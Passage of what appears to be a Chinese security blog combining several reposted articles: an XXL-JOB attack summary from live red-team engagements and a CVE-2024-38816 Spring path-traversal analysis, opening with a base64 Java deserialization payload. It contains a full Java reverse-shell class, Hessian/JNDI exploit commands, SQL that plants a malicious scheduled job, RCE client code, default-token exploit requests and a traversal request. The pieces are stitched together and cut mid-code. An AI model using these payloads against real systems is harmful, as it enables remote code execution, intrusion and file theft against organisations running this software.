// byte[] data = Files.readAllBytes(Paths.get("ser.ser"));
// System.out.println(Base64.getEncoder().encodeToString(data));
String payload = "rO0ABXNyADBqYXZheC5zd2luZy50ZXh0LlN0eWxlZEVkaXRvcktpdCRBbGlnbm1lbnRBY3Rpb27M5wk51R8KdgIAAUkAAWF4cgAxamF2YXguc3dpbmcudGV4dC5TdHlsZWRFZGl0b3JLaXQkU3R5bGVkVGV4dEFjdGlvbkI5NbOb1VOkAgAAeHIAG2phdmF4LnN3aW5nLnRleHQuVGV4dEFjdGlvbgCrKNni9WB8AgAAeHIAGmphdmF4LnN3aW5nLkFic3RyYWN0QWN0aW9u1UAlM9YyWOUDAAJaAAdlbmFibGVkTAANY2hhbmdlU3VwcG9ydHQALkxqYXZheC9zd2luZy9ldmVudC9Td2luZ1Byb3BlcnR5Q2hhbmdlU3VwcG9ydDt4cAFzcgAsamF2YXguc3dpbmcuZXZlbnQuU3dpbmdQcm9wZXJ0eUNoYW5nZVN1cHBvcnRjZsI+j4MRjAIAAVoAC25vdGlmeU9uRURUeHIAIGphdmEuYmVhbnMuUHJvcGVydHlDaGFuZ2VTdXBwb3J0WNXSZFdIYLsDAANJACpwcm9wZXJ0eUNoYW5nZVN1cHBvcnRTZXJpYWxpemVkRGF0YVZlcnNpb25MAAhjaGlsZHJlbnQAFUxqYXZhL3V0aWwvSGFzaHRhYmxlO0wABnNvdXJjZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAnBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhweAB3BAAAAAJ0AAdmdXBhbmMyc3IAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhTdHJpbmccCic7SBbF/QIAAHhyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0cy5YT2JqZWN09JgSCbt7thkCAAFMAAVtX29ianEAfgAJeHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAEdGV4dHQAB2Z1cGFuYzJzcgAgY29tLmFsaWJhYmEuZmFzdGpzb24yLkpTT05PYmplY3QAAAAAAAAAAQIAAHhyABdqYXZhLnV0aWwuTGlua2VkSGFzaE1hcDTATlwQbMD7AgABWgALYWNjZXNzT3JkZXJ4cQB+AAs/QAAAAAAADHcIAAAAEAAAAAF0AAZmdXBhbmNzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAjTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACkAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ACXhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AH0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGmyv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAZwcQB+ABhwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAA3ZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhweAB4AAAAAQ==";
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload)));
ois.readObject();
ois.close();
}
}

参考文章

https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q

https://xz.aliyun.com/news/14333

https://arthas.aliyun.com/doc/quick-start.html

https://xz.aliyun.com/news/18467

XXL-JOB在真实攻防下的总结

XXL-JOB在真实攻防下的总结

本文转自 Air 并作补充

最近在HW中经常会遇到XXL-JOB这个组件,也通过这个组件进入了不少目标单位,那就对该组件的利用进行一次总结。

一、最基本的操作-计划任务命令执行

这个操作我相信大家已经熟的不能再熟了,因为xxl-job的初始化sql语句中设定了默认密码,而且在登入之后不会提示修改默认密码,就造成了xxl-job的默认账号密码为admin/123456。

由于xxl-job本身是任务调度的系统,其可以自然执行命令。通常会反弹shell,再进行后渗透,只需要在新建命令时选择对应的脚本语言,在GLUE IDE中编辑命令,选择执行一次即可。

image

image

image

这种方式有几个容易踩坑的点:

1、选择执行命令的种类与系统不匹配

image

因为xxl-job的exector在生产环境中常常跑在docker环境下的linux下,就会造成一个惯性思维:当我们拿到一个xxl-job的往往会先使用shell去执行命令。

image

当失败的时候就会以为是环境有问题,打不动。

却不知有时xxl-job也可以跑在Windows下。这时候就可以去执行Powerhshell命令去上线。当然如果比较懒的话可以直接执行java代码来上线。无论Windows和linux都可以反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.xxl.job.service.handler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class reverse {
class StreamConnector
extends Thread
{
InputStream hx;
OutputStream il;

StreamConnector(InputStream hx, OutputStream il)
{
this.hx = hx;
this.il = il;
}

public void run()
{
BufferedReader ar = null;
BufferedWriter slm = null;
try
{
ar = new BufferedReader(new InputStreamReader(this.hx));
slm = new BufferedWriter(new OutputStreamWriter(this.il));
char[] buffer = new char[8192];
int length;
while ((length = ar.read(buffer, 0, buffer.length)) > 0)
{
slm.write(buffer, 0, length);
slm.flush();
}
}
catch (Exception localException) {}
try
{
if (ar != null) {
ar.close();
}
if (slm != null) {
slm.close();
}
}
catch (Exception localException1) {}
}
}
public reverse()
{
reverseConn("ip:port");
}

public static void main(String[] args)
{
System.out.println("0");
}

public void reverseConn(String ip)
{
String ipport = ip;
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}

2、反弹shell

在实战中会碰到executor不出网的情况。即执行了反弹shell的命令之后在vps上未收到回显,这时就要去思考executor是否出网或者是注册executor是否失效。
我们可以去执行器中查看其注册方式

image

我们去正常来说自动注册的executor是不会出问题的。因为从代码实现来看xxl-job的executor每隔2min就会向adminer发送心跳证明其存活。而自己注册的可能就不一定可以打通。

二、api未授权访问

在xxl-job<=2.0.2的时候api存在未授权访问,有两种方式可以getshell。

1、利用jndi注入去打内存马

这个已经被人讲过好多次了,但是利用的前提就是需要出网,使用marshalsec去生成payload

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser

再利用curl去发包即可,注意尽量使用linux或者Windows的cmd去发包,实测Windows下powershell发包可能会出现一些问题。

1
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。

详见 记一次曲折的XXL-JOB API Hessian反序列化到Getshell

三、执行命令注入内存马

这种同样是不出网时才考虑的操作。注入的是agent内存马,这个利用的条件其实也有点苛刻,一般来说xxl-job的executor常常跑在docker环境下或者分布式部署。而要想注入agent类型的内存马就需要admin端和executor跑在一台主机下。方法就是使用echo方法或者java的写入文件的方法将agent内存马写到目标主机上,然后在进行加载。具体利用方法可参照。XXL-JOB 深度利用

四、奇技淫巧-从数据库getShell

这也是实战中遇到的一个案例,目标单位存在一个nacos的身份伪造漏洞,获取到了数据库的配置文件,成功的连上了数据库,当然我们可以去尝试udf提权或者猜目录去写马,但我发现数据库中存在xxl_job的数据库,这时候其实就有更多的方法去getshell。

image

image

这时候通常有两种利用方式:1、获取到xxl-job的密码,登入xxl-job去写计划任务进行命令执行getshell。2、直接通过往数据库里写内容进行getshell。

1、登入xxl-job进行getshell

这种方式通常适用于xxl-job-admin的服务暴露在互联网上。我们可以通过语句select * from information_schema.PROCESSLIST;来判断客户端连接。由于我是在本地跑的环境,这里就是localhost,如果是通过公网ip去连接的数据库,我们就可以定位到其公网ip,扫一下端口即可判断xxl-job-admin是否暴露在公网上了。

image

如果暴露在公网上,我们便可以直接利用,xxl-job密码为md5加密,我们首先可以尝试md5解密,解不开的话新增一个用户,密码用md5加密即可。登入成功之后我们便可以通过计划任务进行命令执行了。

image

2、通过向数据库中写入数据进行getshell

这是我偶然发现的一个小trick,其实原理很简单,xxl-job-admin会定时从数据库中查询待执行的任务,在一定时间内执行。也就是说,我们只需要往数据库里插入我们构造好的恶意定时任务。他便会让executor去执行。当前测试版本为2.4.1(不同版本的xxl-job的数据库结构不太相同,以最新版的为例,旧版的在之前遇到的环境中经测试也能打通。)

只需要在xxl_job.xxl_job_info中插入这条语句即可

1
2
3
INSERT INTO `xxl_job`.`xxl_job_info` 
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`)
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);

其中有几个值得关注的点:

schedule_typecorn轮询,0/5 * * * * ?则是计划任务执行的时间我这里设定为5秒1次。executor_handler则是执行命令的类型,我这里因为在Windows下测试,故而选择为powershell,也可变为GLUE_SHELL或者GLUE_GROOVY等来应对不同的命令。目前我们只是插入了命令,并不能执行,要是想执行,还需要在插入数据之后把trigger_status的值改为1,executor便会自动开始执行我们输入的命令。

五、executor未授权访问

xxl-job的executeor存在未授权访问漏洞,指纹如下图所示

低版本

image

高版本

image

其原因就是admin端与executeor端通过互相发送tcp包进行通信,攻击者可伪造包,使executeor执行命令。

该漏洞主要分为三个阶段

1、XxlJob<2.1.2,需要利用Hessian触发

参考这个项目即可RCE
https://github.com/OneSourceCat/XxlJob-Hessian-RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package com.example;

import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;

import com.xxl.rpc.serialize.impl.HessianSerializer;
import org.asynchttpclient.AsyncCompletionHandler;
import org.asynchttpclient.AsyncHttpClient;
import org.asynchttpclient.DefaultAsyncHttpClient;
import org.asynchttpclient.Response;

import java.io.IOException;
import java.util.Date;

public class App {

private static void sendData(String url, byte[] bytes) {
AsyncHttpClient c = new DefaultAsyncHttpClient();

try{
c.preparePost(url)
.setBody(bytes)
.execute(new AsyncCompletionHandler<Response>() {
@Override
public Response onCompleted(Response response) throws Exception {
System.out.println("Server Return Data: ");
System.out.println(response.getResponseBody());
return response;
}

@Override
public void onThrowable(Throwable t) {
System.out.println("HTTP出现异常");
t.printStackTrace();
super.onThrowable(t);
}
}).toCompletableFuture().join();

c.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
c.close();
} catch (IOException e) {
e.printStackTrace();
}
}


}

public static void main( String[] args ) throws Exception {

String code = "package com.xxl.job.service.handler;\n" +
"\n" +
"import com.xxl.job.core.log.XxlJobLogger;\n" +
"import com.xxl.job.core.biz.model.ReturnT;\n" +
"import com.xxl.job.core.handler.IJobHandler;\n" +
"import java.lang.Runtime;\n" +
"\n" +
"public class DemoGlueJobHandler extends IJobHandler {\n" +
"\n" +
"\t@Override\n" +
"\tpublic ReturnT<String> execute(String param) throws Exception {\n" +
" \tRuntime.getRuntime().exec(\"calc\");\n" +
"\t\treturn ReturnT.SUCCESS;\n" +
"\t}\n" +
"\n" +
"}\n";

System.out.println(code);

TriggerParam params = new TriggerParam();
params.setJobId(10);
params.setExecutorBlockStrategy("SERIAL_EXECUTION");
params.setLogId(10);
params.setLogDateTime((new Date()).getTime());
params.setGlueType("GLUE_GROOVY");
params.setGlueSource(code);
params.setGlueUpdatetime((new Date()).getTime());

XxlRpcRequest xxlRpcRequest = new XxlRpcRequest();
xxlRpcRequest.setRequestId("111");
xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
xxlRpcRequest.setMethodName("run");
xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
xxlRpcRequest.setParameters(new Object[] {params});
xxlRpcRequest.setCreateMillisTime((new Date()).getTime());

HessianSerializer serializer = new HessianSerializer();

byte[] data = serializer.serialize(xxlRpcRequest);
sendData("http://127.0.0.1:9999", data);

}
}

2、2.2.0<=XxlJob<=2.4.0

支持了RESTFUL API,可以直接发送http包伪造
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

3、XxlJob >= 2.4.0添加了默认token

作者为了修复该漏洞,添加了默认的token,但是这就如同nacos的jwt秘钥,shiro的默认key一样,由于使用者的粗心大意不修改该key,还是可以被利用
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

本文转自 真爱和自由 并作补充

漏洞描述

https://spring.io/security/cve-2024-38816

通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以编写恶意 HTTP 请求并获取文件系统上任何可由 Spring 应用程序正在运行的进程访问的文件。

具体来说,当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

但是,当以下任何一项满足时,恶意请求都会被阻止和拒绝:

受影响的 Spring 产品和版本

Spring 框架

  • 5.3.0 - 5.3.39
  • 6.0.0 - 6.0.23
  • 6.1.0 - 6.1.12
  • 较旧的、不受支持的版本也受到影响

基础知识

首先分析一个cve说实话我是不太了解spring框架的,这时候就需要疯狂拷打GPT了

WebMvc.fnWebFlux.fn

WebMvc

WebMvc 是 Spring Framework 提供的传统的 MVC(Model-View-Controller)架构,用于构建 web 应用程序。它使用的是 Servlet API,适合于构建基于线程的同步 web 应用。其基本组成包括:

  • Controller:处理 HTTP 请求的主要组件。
  • View:用于渲染响应的模板(如 JSP、Thymeleaf 等)。
  • Model:包含应用程序的核心数据。

WebFlux

WebFlux 是 Spring 5 中引入的模块,专门用于构建异步、非阻塞的 web 应用,适合于高并发和 I/O 密集型的场景。WebFlux 基于反应式编程模型,允许应用在处理请求时不阻塞线程,从而提高了性能。

RouterFunctions 和 FileSystemResource

RouterFunctions

RouterFunctions 是Spring WebFlux的一部分,它提供了一种函数式编程模型来定义请求路由和处理。使用 RouterFunctions,你可以创建一个路由,它将HTTP请求映射到处理这些请求的函数上。

FileSystemResource

FileSystemResource 是Spring框架中的一个类,它表示文件系统中的一个资源,通常用于读取和写入文件。它实现了 org.springframework.core.io.Resource 接口。

环境搭建

这里就用webflux来举例子

首先选择spring的版本,只需要在影响版本里面的就好了

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
</dependency>

然后因为要满足

当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

可以问问gpt啥的

image

创建一个漏洞代码

1
2
3
4
5
6
7
@Configuration
public class Config {
@Bean
public RouterFunction<ServerResponse> test() {
return RouterFunctions.resources("/static/**", new FileSystemResource("D:/phpstudy_pro/WWW/"));
}
}

漏洞复现

首先我们在D盘放一个文件,用于测试

在1.txt写入flag{scueess}

然后尝试访问路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /static/%5c/%5c/../../1.txt HTTP/1.1
Host: 127.0.0.1:8888
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

image

可以发现是成功了

漏洞分析

先查看官方的diff确定漏洞代码位置

https://github.com/spring-projects/spring-framework/commit/d86bf8b2056429edf5494456cffcb2b243331c49#diff-25869a3e3b3d4960cb59b02235d71d192fdc4e02ef81530dd6a660802d4f8707L151

是在PathResourceLookupFunction类,如何修复的先不关心,当然如果很明显就可以更快,我们把关键方法给打个断点慢慢看一看,然后慢慢分析调试一会就能知道个大概

因为是使用了RouterFunctions处理,会来到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Mono<Resource> apply(ServerRequest request) {
PathContainer pathContainer = request.requestPath().pathWithinApplication();
if (!this.pattern.matches(pathContainer)) {
return Mono.empty();
} else {
pathContainer = this.pattern.extractPathWithinPattern(pathContainer);
String path = this.processPath(pathContainer.value());
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();
} catch (IOException var5) {
throw new UncheckedIOException(var5);
}
} else {
return Mono.empty();
}
}
}

首先是从pathContainer.value()获取path,然后由processPath处理

image

processPath方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String processPath(String path) {
boolean slash = false;

for(int i = 0; i < path.length(); ++i) {
if (path.charAt(i) == '/') {
slash = true;
} else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
if (i == 0 || i == 1 && slash) {
return path;
}

path = slash ? "/" + path.substring(i) : path.substring(i);
return path;
}
}

return slash ? "/" : "";
}

简单来讲就是

去除路径开头的无效字符:忽略空格、控制字符等无效字符,找到第一个有效字符。

保留根路径:如果路径开头有斜杠 /,则确保处理后的路径以 / 开头。

快速返回有效路径:如果路径是根路径或有效路径已经以 / 开头,直接返回,不做额外处理。

输入: " /home/user"
输出: "/home/user"

  • 去除了路径开头的空格,保留以 / 开头的有效路径。

输入: " user/docs"
输出: "user/docs"

  • 去除了路径开头的空格,保留从第一个有效字符 u 开始的路径。

输入: "////"
输出: "/"

  • 只有斜杠的情况,返回根路径 /

输入: " "
输出: ""

这个处理对我们的../这种没有影响的

然后回到apply

1
2
3
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

如果包含%,就是url编码的标志,然后会继续url解码

最终确定路径的点是在

1
2
3
4
if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();

关键在于this.isInvalidPath(path)判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}

我们需要的是返回false,看来能够返回的只有一个地方了return path.contains(“..”) && StringUtils.cleanPath(path).contains(“../“);,首先我们可以有..这种字符的存在,因为是&符号连接的,所以终极目的就是StringUtils.cleanPath(path).contains(“../“)返回false

cleanPath方法很长,一步一步分析

这个代码是为了处理windows和linux的差异的,会windows中的\\或者\转为linux中的/

1
2
3
4
5
6
7
String normalizedPath;
if (path.indexOf(92) != -1) {
normalizedPath = replace(path, "\\\\", "/");
normalizedPath = replace(normalizedPath, "\\", "/");
} else {
normalizedPath = path;
}

然后就是处理前缀了,如果路径没有.直接返回,如果又会处理,还是为了处理windows的场景

58 对应的是冒号 :,用于检测是否有像 C: 这样的路径前缀。如果存在前缀(如 Windows 路径中的盘符),将其提取出来。

如果前缀中包含 /,则认为它不是有效的前缀(可能是 URL 的一部分),清除它;否则将前缀保留并将路径的主体部分截取出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (normalizedPath.indexOf(46) == -1) {
return normalizedPath;
} else {
int prefixIndex = normalizedPath.indexOf(58);
String prefix = "";
if (prefixIndex != -1) {
prefix = normalizedPath.substring(0, prefixIndex + 1);
if (prefix.contains("/")) {
prefix = "";
} else {
pathToUse = normalizedPath.substring(prefixIndex + 1);
}
}

然后根据 / 拆分路径,将其转换为一个数组 pathArray

1
2
3
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
Deque<String> pathElements = new ArrayDeque(pathArray.length);
int tops = 0;

image

如果包含.则不会走到pathElements.addFirst(element);相当于去除,中间对于tops的处理就是相当于在处理..的路径穿越字符了

1
2
3
4
5
6
7
8
9
10
11
12
for(i = pathArray.length - 1; i >= 0; --i) {
String element = pathArray[i];
if (!".".equals(element)) {
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
} else {
pathElements.addFirst(element);
}
}
}

结合

1
2
3
4
5
6
7
8
9
10
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
}

......
for(i = 0; i < tops; ++i) {
pathElements.addFirst("..");
}

处理前和处理后的代码

image

应该能读懂这个逻辑吧

然后最后就是拼接了

1
2
String joined = collectionToDelimitedString(pathElements, "/");
return prefix.isEmpty() ? joined : prefix + joined;

image

如果我们想要返回的路径不包含../就得从其中一步找点破绽,其实就是连猜带蒙多去尝试各种各样的路径

其实考虑一下,它是类似于这种就会实现有../但是返回的时候不包含../

比如

a/b/../c

经过处理后,路径将被简化为 a/b/d,因为 c/.. 相当于取消了 c 目录的影响

这里我们希望b能够占个位置,但是又不会当作目录的一个字符

代码逻辑是以/作为分割

空字符也算做一个元素,按理来说构造这样一个字符就ok了

1
/static/////../../1.txt

自己写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.demo;

import org.springframework.util.ResourceUtils;
import org.springframework.util.StringUtils;

public class test {
public static void main(String[] args) {
String path = "/static/////../../1.txt";
System.out.println(isInvalidPath(path));

}

public static boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}
